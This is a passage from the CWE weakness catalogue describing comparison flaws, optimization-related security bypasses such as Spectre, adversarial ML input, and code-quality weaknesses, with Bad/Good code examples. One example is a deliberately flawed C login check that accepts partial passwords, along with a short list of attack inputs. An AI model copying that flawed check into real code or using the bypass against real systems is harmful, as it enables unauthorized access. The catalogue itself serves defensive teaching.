ParentOf	B	478	Missing Default Case in Multiple Condition Expression	1142
ParentOf	B	839	Numeric Range Comparison Without Minimum Check	1767

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity Access Control	Alter Execution Logic Bypass Protection Mechanism	

Potential Mitigations

Phase: Testing

Thoroughly test the comparison scheme before deploying code into production. Perform positive testing as well as negative testing.

Demonstrative Examples

Example 1:

Consider an application in which Truck objects are defined to be the same if they have the same make, the same model, and were manufactured in the same year.

Example Language: Java *(Bad)*

```java
public class Truck {
  private String make;
  private String model;
  private int year;
  public boolean equals(Object o) {
    if (o == null) return false;
    if (o == this) return true;
    if (!(o instanceof Truck)) return false;
    Truck t = (Truck) o;
    return (this.make.equals(t.getMake()) && this.model.equals(t.getModel()));
  }
}
```

Here, the equals() method only checks the make and model of the Truck objects, but the year of manufacture is not included.

Example 2:

This example defines a fixed username and password. The AuthenticateUser() function is intended to accept a username and a password from an untrusted user, and check to ensure that it matches the username and password. If the username and password match, AuthenticateUser() is intended to indicate that authentication succeeded.

Example Language: C *(Bad)*

```c
/* Ignore CWE-259 (hard-coded password) and CWE-309 (use of password system for authentication) for this example. */
char *username = "admin";
char *pass = "password";
int AuthenticateUser(char *inUser, char *inPass) {
  if (strncmp(username, inUser, strlen(inUser))) {
    logEvent("Auth failure of username using strlen of inUser");
    return(AUTH_FAIL);
  }
  if (! strncmp(pass, inPass, strlen(inPass))) {
    logEvent("Auth success of password using strlen of inUser");
    return(AUTH_SUCCESS);
  }
  else {
    logEvent("Auth fail of password using sizeof");
    return(AUTH_FAIL);
  }
}
int main (int argc, char **argv) {
   int authResult;
   if (argc < 3) {
      ExitError("Usage: Provide a username and password");
   }
   authResult = AuthenticateUser(argv[1], argv[2]);
   if (authResult == AUTH_SUCCESS) {
      DoAuthenticatedTask(argv[1]);
   }
   else {
      ExitError("Authentication failed");
   }
}
```

In AuthenticateUser(), the strncmp() call uses the string length of an attacker-provided inPass parameter in order to determine how many characters to check in the password. So, if the attacker only provides a password of length 1, the check will only examine the first byte of the application's password before determining success.

As a result, this partial comparison leads to improper authentication (CWE-287).

Any of these passwords would still cause authentication to succeed for the "admin" user:

Example Language: *(Attack)*

```
p
pa
pas
pass
```

This significantly reduces the search space for an attacker, making brute force attacks more feasible.

The same problem also applies to the username, so values such as "a" and "adm" will succeed for the username.

While this demonstrative example may not seem realistic, see the Observed Examples for CVE entries that effectively reflect this same weakness.

Observed Examples

Reference	Description
CVE-2005-2782	PHP remote file inclusion in web application that filters "http" and "https" URLs, but not "ftp". *https://www.cve.org/CVERecord?id=CVE-2005-2782*
CVE-2014-6394	Product does not prevent access to restricted directories due to partial string comparison with a public directory *https://www.cve.org/CVERecord?id=CVE-2014-6394*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1397	Comprehensive Categorization: Comparison	1400	2523

CWE-1024: Comparison of Incompatible Types

Weakness ID : 1024
Structure : Simple
Abstraction : Base

Description

The product performs a comparison between two entities, but the entities are of different, incompatible types that cannot be guaranteed to provide correct results when they are directly compared.

Extended Description

In languages that are strictly typed but support casting/conversion, such as C or C++, the programmer might assume that casting one entity to the same type as another entity will ensure that the comparison will be performed correctly, but this cannot be guaranteed. In languages that are not strictly typed, such as PHP or JavaScript, there may be implicit casting/conversion to a type that the programmer is unaware of, causing unexpected results; for example, the string "123" might be converted to a number type. See examples.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	697	Incorrect Comparison	1530

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	19	Data Processing Errors	2309

Weakness Ordinalities

Primary :

Applicable Platforms

Language : JavaScript *(Prevalence = Undetermined)*

Language : PHP *(Prevalence = Undetermined)*

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	

Potential Mitigations

Phase: Testing

Thoroughly test the comparison scheme before deploying code into production. Perform positive testing as well as negative testing.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1397	Comprehensive Categorization: Comparison	1400	2523

Weakness ID : 1025
Structure : Simple
Abstraction : Base

Description

The code performs a comparison between two entities, but the comparison examines the wrong factors or characteristics of the entities, which can lead to incorrect results and resultant weaknesses.

Extended Description

This can lead to incorrect results and resultant weaknesses. For example, the code might inadvertently compare references to objects, instead of the relevant contents of those objects, causing two "equal" objects to be considered unequal.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	697	Incorrect Comparison	1530
ParentOf	V	486	Comparison of Classes by Name	1164
ParentOf	V	595	Comparison of Object References Instead of Object Contents	1334

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	438	Behavioral Problems	2326

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	

Potential Mitigations

Phase: Testing

Thoroughly test the comparison scheme before deploying code into production. Perform positive testing as well as negative testing.

Demonstrative Examples

Example 1:

In the example below, two Java String objects are declared and initialized with the same string values. An if statement is used to determine if the strings are equivalent.

Example Language: Java *(Bad)*

```
String str1 = new String("Hello");
String str2 = new String("Hello");
if (str1 == str2) {
    System.out.println("str1 == str2");
}
```

However, the if statement will not be executed as the strings are compared using the "==" operator. For Java objects, such as String objects, the "==" operator compares object references, not object values. While the two String objects above contain the same string values, they refer to different object references, so the System.out.println statement will not be executed. To compare object values, the previous code could be modified to use the equals method:

Example Language: *(Good)*

```
if (str1.equals(str2)) {
    System.out.println("str1 equals str2");
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1397	Comprehensive Categorization: Comparison	1400	2523

CWE-1037: Processor Optimization Removal or Modification of Security-critical Code

Weakness ID : 1037
Structure : Simple
Abstraction : Base

Description

The developer builds a security-critical protection mechanism into the software, but the processor optimizes the execution of the program such that the mechanism is removed or modified.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	1038	Insecure Automated Optimizations	1872
PeerOf	B	1264	Hardware Logic with Insecure De-Synchronization between Control and Data Channels	2086

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	438	Behavioral Problems	2326

Weakness Ordinalities

Primary : This weakness does not depend on other weaknesses and is the result of choices made by the processor in executing the specified application.

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Rarely)*

Technology : Processor Hardware *(Prevalence = Undetermined)*

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Integrity	Bypass Protection Mechanism *A successful exploitation of this weakness will change the order of an application's execution and will likely be used to bypass specific protection mechanisms. This bypass can be exploited further to potentially read data that should otherwise be unaccessible.*	High

Detection Methods

White Box

In theory this weakness can be detected through the use of white box testing techniques where specifically crafted test cases are used in conjunction with debuggers to verify the order of statements being executed.

Effectiveness = Opportunistic

Although the mentioned detection method is theoretically possible, the use of speculative execution is a preferred way of increasing processor performance. The reality is that a large number of statements are executed out of order, and determining if any of them break an access control property would be extremely opportunistic.

Observed Examples

Reference	Description
CVE-2017-5715	Intel, ARM, and AMD processor optimizations related to speculative execution and branch prediction cause access control checks to be bypassed when placing data into the cache. Often known as "Spectre". *https://www.cve.org/CVERecord?id=CVE-2017-5715*
CVE-2017-5753	Intel, ARM, and AMD processor optimizations related to speculative execution and branch prediction cause access control checks to be bypassed when placing data into the cache. Often known as "Spectre". *https://www.cve.org/CVERecord?id=CVE-2017-5753*
CVE-2017-5754	Intel processor optimizations related to speculative execution cause access control checks to be bypassed when placing data into the cache. Often known as "Meltdown". *https://www.cve.org/CVERecord?id=CVE-2017-5754*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1398	Comprehensive Categorization: Component Interaction	1400	2524

Notes

Maintenance

As of CWE 4.9, members of the CWE Hardware SIG are closely analyzing this entry and others to improve CWE's coverage of transient execution weaknesses, which include issues related to Spectre, Meltdown, and other attacks. Additional investigation may include other weaknesses related to microarchitectural state. As a result, this entry might change significantly in CWE 4.10.

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
663	Exploitation of Transient Instruction Execution

References

[REF-11]Paul Kocher, Daniel Genkin, Daniel Gruss, Werner Haas, Mike Hamburg, Moritz Lipp, Stefan Mangard, Thomas Prescher, Michael Schwarz and Yuval Yarom. "Spectre Attacks: Exploiting Speculative Execution". 2018 January 3. < https://arxiv.org/abs/1801.01203 >.

[REF-12]Moritz Lipp, Michael Schwarz, Daniel Gruss, Thomas Prescher, Werner Haas, Stefan Mangard, Paul Kocher, Daniel Genkin, Yuval Yarom and Mike Hamburg. "Meltdown". 2018 January 3. < https://arxiv.org/abs/1801.01207 >.

CWE-1038: Insecure Automated Optimizations

Weakness ID : 1038
Structure : Simple
Abstraction : Class

Description

The product uses a mechanism that automatically optimizes code, e.g. to improve a characteristic such as performance, but the optimizations can have an unintended side effect that might violate an intended security assumption.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	Ⓒ	758	Reliance on Undefined, Unspecified, or Implementation-Defined Behavior	1582
ChildOf	|P|	435	Improper Interaction Between Multiple Correctly-Behaving Entities	1055
ParentOf	Ⓑ	733	Compiler Optimization Removal or Modification of Security-critical Code	1562
ParentOf	Ⓑ	1037	Processor Optimization Removal or Modification of Security-critical Code	1870

Weakness Ordinalities

Primary : This weakness does not depend on other weaknesses and is the result of choices made during optimization.

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Integrity	Alter Execution Logic	

Scope	Impact	Likelihood
	The optimizations alter the order of execution resulting in side effects that were not intended by the original developer.	

Observed Examples

Reference	Description
CVE-2017-5715	Intel, ARM, and AMD processor optimizations related to speculative execution and branch prediction cause access control checks to be bypassed when placing data into the cache. Often known as "Spectre". *https://www.cve.org/CVERecord?id=CVE-2017-5715*
CVE-2008-1685	C compiler optimization, as allowed by specifications, removes code that is used to perform checks to detect integer overflows. *https://www.cve.org/CVERecord?id=CVE-2008-1685*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1398	Comprehensive Categorization: Component Interaction	1400	2524

CWE-1039: Automated Recognition Mechanism with Inadequate Detection or Handling of Adversarial Input Perturbations

Weakness ID : 1039
Structure : Simple
Abstraction : Class

Description

The product uses an automated mechanism such as machine learning to recognize complex data inputs (e.g. image or audio) as a particular concept or category, but it does not properly detect or handle inputs that have been modified or constructed in a way that causes the mechanism to detect a different, incorrect concept.

Extended Description

When techniques such as machine learning are used to automatically classify input streams, and those classifications are used for security-critical decisions, then any mistake in classification can introduce a vulnerability that allows attackers to cause the product to make the wrong security decision. If the automated mechanism is not developed or "trained" with enough input data, then attackers may be able to craft malicious input that intentionally triggers the incorrect classification.

Targeted technologies include, but are not necessarily limited to:

- automated speech recognition
- automated image recognition

For example, an attacker might modify road signs or road surface markings to trick autonomous vehicles into misreading the sign/marking and performing a dangerous action.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	697	Incorrect Comparison	1530
ChildOf	P	693	Protection Mechanism Failure	1520

Weakness Ordinalities

Primary : This weakness does not depend on other weaknesses and is the result of choices made during optimization.

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Bypass Protection Mechanism *When the automated recognition is used in a protection mechanism, an attacker may be able to craft inputs that are misinterpreted in a way that grants excess privileges.*	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1413	Comprehensive Categorization: Protection Mechanism Failure	1400	2542

Notes

Relationship

Further investigation is needed to determine if better relationships exist or if additional organizational entries need to be created. For example, this issue might be better related to "recognition of input as an incorrect type," which might place it as a sibling of CWE-704 (incorrect type conversion).

References

[REF-16]Christian Szegedy, Wojciech Zaremba, Ilya Sutskever, Joan Bruna, Dumitru Erhan, Ian Goodfellow and Rob Fergus. "Intriguing properties of neural networks". 2014 February 9. < https://arxiv.org/abs/1312.6199 >.

[REF-17]OpenAI. "Attacking Machine Learning with Adversarial Examples". 2017 February 4. < https://openai.com/research/attacking-machine-learning-with-adversarial-examples >.2023-04-07.

[REF-15]James Vincent. "Magic AI: These are the Optical Illusions that Trick, Fool, and Flummox Computers". 2017 April 2. The Verge. < https://www.theverge.com/2017/4/12/15271874/ai-adversarial-images-fooling-attacks-artificial-intelligence >.

[REF-13]Xuejing Yuan, Yuxuan Chen, Yue Zhao, Yunhui Long, Xiaokang Liu, Kai Chen, Shengzhi Zhang, Heqing Huang, Xiaofeng Wang and Carl A. Gunter. "CommanderSong: A Systematic Approach for Practical Adversarial Voice Recognition". 2018 January 4. < https://arxiv.org/pdf/1801.08535.pdf >.

[REF-14]Nicholas Carlini and David Wagner. "Audio Adversarial Examples: Targeted Attacks on Speech-to-Text". 2018 January 5. < https://arxiv.org/abs/1801.01944 >.

CWE-1041: Use of Redundant Code

Weakness ID : 1041
Structure : Simple
Abstraction : Base

Description

The product has multiple functions, methods, procedures, macros, etc. that contain the same code.

Extended Description

This issue makes it more difficult to maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. For example, if there are two copies of the same code, the programmer might fix a weakness in one copy while forgetting to fix the same weakness in another copy.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1549

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	2422

Weakness Ordinalities

Indirect :

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

Potential Mitigations

Phase: Implementation

Merge common functionality into a single function and then call that function from across the entire code base.

Demonstrative Examples

Example 1:

In the following Java example the code performs some complex math when specific test conditions are met. The math is the same in each case and the equations are repeated within the code. Unfortunately if a future change needs to be made then that change needs to be made in all locations. This opens the door to mistakes being made and the changes not being made in the same way in each instance.

Example Language: Java *(Bad)*

```
public class Main {
  public static void main(String[] args) {
        double s = 10.0;
        double r = 1.0;
        double pi = 3.14159;
        double surface_area;
        if(r > 0.0) {
            // complex math equations
            surface_area = pi * r * s + pi * Math.pow(r, 2);
        }
        if(r > 1.0) {
            // a complex set of math
            surface_area = pi * r * s + pi * Math.pow(r, 2);
        }
    }
}
```

It is recommended to place the complex math into its own function and then call that function whenever necessary.

Example Language: Java *(Good)*

```
public class Main {
    private double ComplexMath(double r, double s) {
        //complex math equations
        double pi = Math.PI;
        double surface_area = pi * r * s + pi * Math.pow(r, 2);
        return surface_area;
    }
    public static void main(String[] args) {
        double s = 10.0;
        double r = 1.0;
        double surface_area;
        if(r > 0.0) {
            surface_area = ComplexMath(r, s);
        }
        if(r > 1.0) {
            surface_area = ComplexMath(r, s);
        }
    }
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1130	CISQ Quality Measures (2016) - Maintainability	1128	2441
MemberOf	C	1307	CISQ Quality Measures - Maintainability	1305	2484
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2538

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCMM	ASCMM-MNT-19		

References

[REF-960]Object Management Group (OMG). "Automated Source Code Maintainability Measure (ASCMM)". 2016 January. < https://www.omg.org/spec/ASCMM/ >.2023-04-07.

Weakness ID : 1042
Structure : Simple
Abstraction : Variant

Description

The code contains a member element that is declared as static (but not final), in which its parent class element is not a singleton class - that is, a class element that can be used only once in the 'to' association of a Create action.

Extended Description

This issue can make the product perform more slowly. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	1176	Inefficient CPU Computation	1971

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Performance	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1132	CISQ Quality Measures (2016) - Performance Efficiency	1128	2443
MemberOf	C	1309	CISQ Quality Measures - Efficiency	1305	2486
MemberOf	C	1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2545

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCPEM	ASCPEM-PRF-3		

References

[REF-959]Object Management Group (OMG). "Automated Source Code Performance Efficiency Measure (ASCPEM)". 2016 January. < https://www.omg.org/spec/ASCPEM/ >.2023-04-07.

CWE-1043: Data Element Aggregating an Excessively Large Number of Non-Primitive Elements

Weakness ID : 1043

Structure : Simple
Abstraction : Base

Description

The product uses a data element that has an excessively large number of sub-elements with non-primitive data types such as structures or aggregated objects.

Extended Description

This issue can make the product perform more slowly. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

While the interpretation of "excessively large" may vary for each product or developer, CISQ recommends a default of 5 sub-elements.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	1093	Excessively Complex Data Representation	1933

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	2422
MemberOf	C	1226	Complexity Issues	2481

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Performance	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1132	CISQ Quality Measures (2016) - Performance Efficiency	1128	2443
MemberOf	C	1309	CISQ Quality Measures - Efficiency	1305	2486
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2538

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCPEM	ASCPEM-PRF-12		

References

[REF-959]Object Management Group (OMG). "Automated Source Code Performance Efficiency Measure (ASCPEM)". 2016 January. < https://www.omg.org/spec/ASCPEM/ >.2023-04-07.

CWE-1044: Architecture with Number of Horizontal Layers Outside of Expected Range

Weakness ID : 1044
Structure : Simple
Abstraction : Base

Description

The product's architecture contains too many - or too few - horizontal layers.

Extended Description

This issue makes it more difficult to maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

While the interpretation of "expected range" may vary for each product or developer, CISQ recommends a default minimum of 4 layers and maximum of 8 layers.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1549

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	2422

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1130	CISQ Quality Measures (2016) - Maintainability	1128	2441
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2538

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCMM	ASCMM-MNT-9		

References

[REF-960]Object Management Group (OMG). "Automated Source Code Maintainability Measure (ASCMM)". 2016 January. < https://www.omg.org/spec/ASCMM/ >.2023-04-07.

CWE-1045: Parent Class with a Virtual Destructor and a Child Class without a Virtual Destructor

Weakness ID : 1045
Structure : Simple
Abstraction : Base

Description

A parent class has a virtual destructor method, but the parent has a child class that does not have a virtual destructor.

Extended Description

This issue can prevent the product from running reliably, since the child might not perform essential destruction operations. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability, such as a memory leak (CWE-401).

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	1076	Insufficient Adherence to Expected Conventions	1916

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	2422

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Reliability	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1129	CISQ Quality Measures (2016) - Reliability	1128	2440
MemberOf	C	1306	CISQ Quality Measures - Reliability	1305	2483
MemberOf	C	1307	CISQ Quality Measures - Maintainability	1305	2484
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2538

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCRM	ASCRM-RLB-17		

References

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < http://www.omg.org/spec/ASCRM/1.0/ >.

[REF-977]QuantStart. "C++ Virtual Destructors: How to Avoid Memory Leaks". < https://www.quantstart.com/articles/C-Virtual-Destructors-How-to-Avoid-Memory-Leaks/ >.2023-04-07.

[REF-978]GeeksforGeeks. "Virtual Destructor". < https://www.geeksforgeeks.org/virtual-destructor/ >.

CWE-1046: Creation of Immutable Text Using String Concatenation

Weakness ID : 1046
Structure : Simple
Abstraction : Base

Description

The product creates an immutable text string using string concatenation operations.

Extended Description

When building a string via a looping feature (e.g., a FOR or WHILE loop), the use of += to append to the existing string will result in the creation of a new object with each iteration. This programming pattern can be inefficient in comparison with use of text buffer data elements. This issue can make the product perform more slowly. If the relevant code is reachable by an attacker, then this could be influenced to create performance problem.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	Ⓒ	1176	Inefficient CPU Computation	1971

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	2422

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Performance	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1132	CISQ Quality Measures (2016) - Performance Efficiency	1128	2443
MemberOf	C	1309	CISQ Quality Measures - Efficiency	1305	2486
MemberOf	C	1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2545

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCPEM	ASCPEM-PRF-2		

References

[REF-959]Object Management Group (OMG). "Automated Source Code Performance Efficiency Measure (ASCPEM)". 2016 January. < https://www.omg.org/spec/ASCPEM/ >.2023-04-07.

CWE-1047: Modules with Circular Dependencies

Weakness ID : 1047
Structure : Simple
Abstraction : Base

Description

The product contains modules in which one module has references that cycle back to itself, i.e., there are circular dependencies.

Extended Description

As an example, with Java, this weakness might indicate cycles between packages.

This issue makes it more difficult to maintain the product due to insufficient modularity, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

This issue can prevent the product from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	G	1120	Excessive Code Complexity	1960

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1226	Complexity Issues	2481

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Reduce Reliability	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1129	CISQ Quality Measures (2016) - Reliability	1128	2440
MemberOf	C	1130	CISQ Quality Measures (2016) - Maintainability	1128	2441
MemberOf	C	1307	CISQ Quality Measures - Maintainability	1305	2484
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2538

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCMM	ASCMM-MNT-7		
OMG ASCRM	ASCRM-RLB-13		

References

[REF-960]Object Management Group (OMG). "Automated Source Code Maintainability Measure (ASCMM)". 2016 January. < https://www.omg.org/spec/ASCMM/ >.2023-04-07.

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < http://www.omg.org/spec/ASCRM/1.0/ >.

CWE-1048: Invokable Control Element with Large Number of Outward Calls

Weakness ID : 1048
Structure : Simple
Abstraction : Base

Description

The code contains callable control elements that contain an excessively large number of references to other application objects external to the context of the callable, i.e. a Fan-Out value that is excessively large.

Extended Description

While the interpretation of "excessively large Fan-Out value" may vary for each product or developer, CISQ recommends a default of 5 referenced objects.

This issue makes it more difficult to maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1549

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	2422

Weakness Ordinalities

Indirect :

